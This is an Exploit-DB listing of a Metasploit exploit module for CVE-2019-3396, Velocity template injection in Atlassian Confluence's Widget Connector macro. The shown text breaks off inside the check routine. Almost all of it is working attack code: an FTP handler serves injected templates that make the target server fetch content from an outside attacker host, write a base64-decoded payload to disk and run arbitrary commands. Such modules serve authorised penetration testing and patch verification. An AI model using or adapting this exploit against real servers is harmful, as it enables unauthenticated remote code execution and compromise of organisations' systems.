Exploit-DB #46731
Description: Atlassian Confluence Widget Connector Macro - Velocity Template Injection (Metasploit)
Type: remote
Platform: multiple
Date: 2019-04-19
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::FtpServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Atlassian Confluence Widget Connector Macro Velocity Template Injection",
      'Description'    => %q{
        Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
        allows embed online videos, slideshows, photostreams and more directly into page.
        A _template parameter can be used to inject remote Java code into a Velocity template,
        and gain code execution. Authentication is unrequired to exploit this vulnerability.
        By default, Java payload will be used because it is cross-platform, but you can also
        specify which native payload you want (Linux or Windows).

        Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
        6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.

        This vulnerability was originally discovered by Daniil Dmitriev
        https://twitter.com/ddv_ua.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Daniil Dmitriev',                # Discovering vulnerability
          'Dmitry (rrock) Shchannikov'      # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2019-3396' ],
          [ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ],
          [ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-【CVE-2019-3396】-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'],
          [ 'URL', 'https://paper.seebug.org/886/']
        ],
      'Targets'        =>
        [
          [ 'Java',    { 'Platform' => 'java',  'Arch' => ARCH_JAVA }],
          [ 'Windows', { 'Platform' => 'win',   'Arch' => ARCH_X86  }],
          [ 'Linux',   { 'Platform' => 'linux', 'Arch' => ARCH_X86  }]
        ],
      'DefaultOptions' =>
        {
          'RPORT' => 8090,
          'SRVPORT' => 8021,
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 25 2019',
      'DefaultTarget'  => 0,
      'Stance'         => Msf::Exploit::Stance::Aggressive
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
        OptString.new('TRIGGERURL', [true, 'Url to external video service to trigger vulnerability',
          'https://www.youtube.com/watch?v=dQw4w9WgXcQ'])
      ])
  end

  # Handles ftp RETP command.
  #
  # @param c [Socket] Control connection socket.
  # @param arg [String] RETR argument.
  # @return [void]
  def on_client_command_retr(c, arg)
    vprint_status("FTP download request for #{arg}")
    conn = establish_data_connection(c)
    if(not conn)
      c.put("425 Can't build data connection\r\n")
      return
    end

    c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
    case arg
    when /check\.vm$/
      conn.put(wrap(get_check_vm))
    when /javaprop\.vm$/
      conn.put(wrap(get_javaprop_vm))
    when /upload\.vm$/
      conn.put(wrap(get_upload_vm))
    when /exec\.vm$/
      conn.put(wrap(get_exec_vm))
    else
      conn.put(wrap(get_dummy_vm))
    end
    c.put("226 Transfer complete.\r\n")
    conn.close
  end

  # Handles ftp PASS command to suppress output.
  #
  # @param c [Socket] Control connection socket.
  # @param arg [String] PASS argument.
  # @return [void]
  def on_client_command_pass(c, arg)
    @state[c][:pass] = arg
    vprint_status("#{@state[c][:name]} LOGIN #{@state[c][:user]} / #{@state[c][:pass]}")
    c.put "230 Login OK\r\n"
  end

  # Handles ftp EPSV command to suppress output.
  #
  # @param c [Socket] Control connection socket.
  # @param arg [String] EPSV argument.
  # @return [void]
  def on_client_command_epsv(c, arg)
    vprint_status("#{@state[c][:name]} UNKNOWN 'EPSV #{arg}'")
    c.put("500 'EPSV #{arg}': command not understood.\r\n")
  end

  # Returns a upload template.
  #
  # @return [String]
  def get_upload_vm
    (
      <<~EOF
        $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))
      EOF
    )
  end

  # Returns a command execution template.
  #
  # @return [String]
  def get_exec_vm
    (
      <<~EOF
        $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()
      EOF
    )
  end

  # Returns checking template.
  #
  # @return [String]
  def get_check_vm
    (
      <<~EOF
        #{@check_text}
      EOF
    )
  end

  # Returns Java's getting property template.
  #
  # @return [String]
  def get_javaprop_vm
    (
      <<~EOF
        $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()
      EOF
    )
  end

  # Returns dummy template.
  #
  # @return [String]
  def get_dummy_vm
    (
      <<~EOF
      EOF
    )
  end

  # Checks the vulnerability.
  #
  # @return [Array] Check code
  def check
    checkcode = Exploit::CheckCode::Safe
    begin
      # Start the FTP service
      print_status("Starting the FTP server.")
      start_service

      @check_text = Rex::Text.rand_text_alpha(5..10)
      res = inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']